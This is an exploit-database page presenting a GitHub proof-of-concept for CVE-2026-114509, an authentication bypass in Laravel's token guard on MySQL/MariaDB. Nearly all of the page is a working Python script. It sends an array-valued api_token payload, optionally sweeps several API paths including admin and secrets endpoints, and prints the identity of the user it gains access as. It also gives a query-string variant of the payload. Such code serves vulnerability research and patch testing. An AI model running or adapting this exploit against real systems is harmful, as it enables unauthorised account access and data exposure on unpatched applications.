Exploit database

GH-90d88fbe9ddd5ebae57cfab04ca28b9e

tajulasri/-cve-2026-114509-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-114509

5 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
tajulasri/-cve-2026-114509-pocRevision 244cb78d97b8

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2026-114509_poc.py

Suggested starting filePython · 5,410 bytes
#!/usr/bin/env python3
"""
CVE-2026-114509 — Laravel TokenGuard Auth Bypass PoC
=====================================================

Exploits MySQL/MariaDB type coercion via PHP array injection.
Sends {"api_token": [0]} which bypasses the `! empty()` check
in TokenGuard::user() and triggers WHERE api_token IN (0) in MySQL,
matching any token that starts with a non-numeric character.

CVE:      CVE-2026-114509
Advisory: GHSA-f9x3-7vq9-cph6
Affected: laravel/framework < 11.56.1, < 12.68.0, < 13.29.0
Database: MySQL / MariaDB only
Guard:    token driver only (not Sanctum/Passport)

Usage:
    python3 CVE-2026-114509_poc.py http://localhost:8080
    python3 CVE-2026-114509_poc.py http://target.com --path /api/user
"""
from __future__ import annotations

import argparse
import json
import sys
import urllib.request
import urllib.error


def exploit(base_url: str, path: str, value: int = 0) -> dict:
    url = f"{base_url.rstrip('/')}{path}"
    payload = json.dumps({"api_token": [value]}).encode()

    req = urllib.request.Request(url, data=payload, method="POST")
    req.add_header("Content-Type", "application/json")
    req.add_header("Accept", "application/json")

    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            body = json.loads(resp.read())
            return {"status": resp.status, "data": body, "success": True}
    except urllib.error.HTTPError as e:
        body = e.read().decode("utf-8", errors="replace")
        try:
            body = json.loads(body)
        except json.JSONDecodeError:
            pass
        return {"status": e.code, "data": body, "success": False}
    except Exception as e:
        return {"status": -1, "data": str(e), "success": False}


def check_health(base_url: str) -> bool:
    try:
        url = f"{base_url.rstrip('/')}/api/health"
        req = urllib.request.Request(url)
        req.add_header("Accept", "application/json")
        with urllib.request.urlopen(req, timeout=5) as resp:
            return resp.status == 200
    except Exception:
        return False


def main():
    parser = argparse.ArgumentParser(description="Laravel TokenGuard Auth Bypass PoC")
    parser.add_argument("target", help="Base URL (e.g. http://localhost:8080)")
    parser.add_argument("--path", default="/api/me", help="API endpoint to hit")
    parser.add_argument("--value", type=int, default=0,
                        help="Integer value for type juggling (default: 0)")
    parser.add_argument("--all-paths", action="store_true",
                        help="Try multiple common API paths")
    args = parser.parse_args()

    print("=" * 60)
    print("  CVE-2026-114509 — Laravel TokenGuard Auth Bypass")
    print("  Payload: {\"api_token\": [%d]}" % args.value)
    print("=" * 60)
    print()

    if not check_health(args.target):
        print(f"[!] Target {args.target} not reachable")
        sys.exit(1)

    print(f"[*] Target: {args.target}")
    print()

    # First verify the endpoint requires auth
    print("[1] Checking auth requirement (no token)...")
    no_auth = exploit(args.target, args.path, value=None)
    # Send without the exploit
    try:
        url = f"{args.target.rstrip('/')}{args.path}"
        req = urllib.request.Request(url)
        req.add_header("Accept", "application/json")
        with urllib.request.urlopen(req, timeout=10) as resp:
            print(f"    Status: {resp.status} — endpoint is PUBLIC (no auth)")
            print("    Nothing to bypass.")
            return
    except urllib.error.HTTPError as e:
        if e.code == 401:
            print(f"    Status: 401 — endpoint requires authentication")
        else:
            print(f"    Status: {e.code}")

    # Now exploit
    print()
    print(f"[2] Sending exploit payload to {args.path}...")
    result = exploit(args.target, args.path, args.value)

    if result["success"]:
        print(f"    Status: {result['status']}")
        print(f"    BYPASS SUCCESSFUL!")
        print()
        print("    Authenticated as:")
        data = result["data"]
        if isinstance(data, dict):
            for k, v in data.items():
                print(f"      {k}: {v}")
        else:
            print(f"      {json.dumps(data, indent=6)}")
    else:
        print(f"    Status: {result['status']}")
        if result["status"] == 401:
            print("    NOT VULNERABLE (or not using token guard on MySQL)")
        elif result["status"] == 405:
            print("    Method not allowed — endpoint may be GET-only")
            print("    Try with query string: ?api_token[]=0")
        else:
            print(f"    Response: {result['data']}")

    if args.all_paths:
        print()
        print("[3] Trying additional paths...")
        paths = ["/api/me", "/api/user", "/api/profile", "/api/account",
                 "/api/admin/users", "/api/secrets"]
        for p in paths:
            if p == args.path:
                continue
            r = exploit(args.target, p, args.value)
            status_icon = "+" if r["success"] else "-"
            print(f"    [{status_icon}] {p} → {r['status']}", end="")
            if r["success"] and isinstance(r["data"], dict):
                name = r["data"].get("name") or r["data"].get("user", "")
                if name:
                    print(f" (as {name})", end="")
            print()


if __name__ == "__main__":
    main()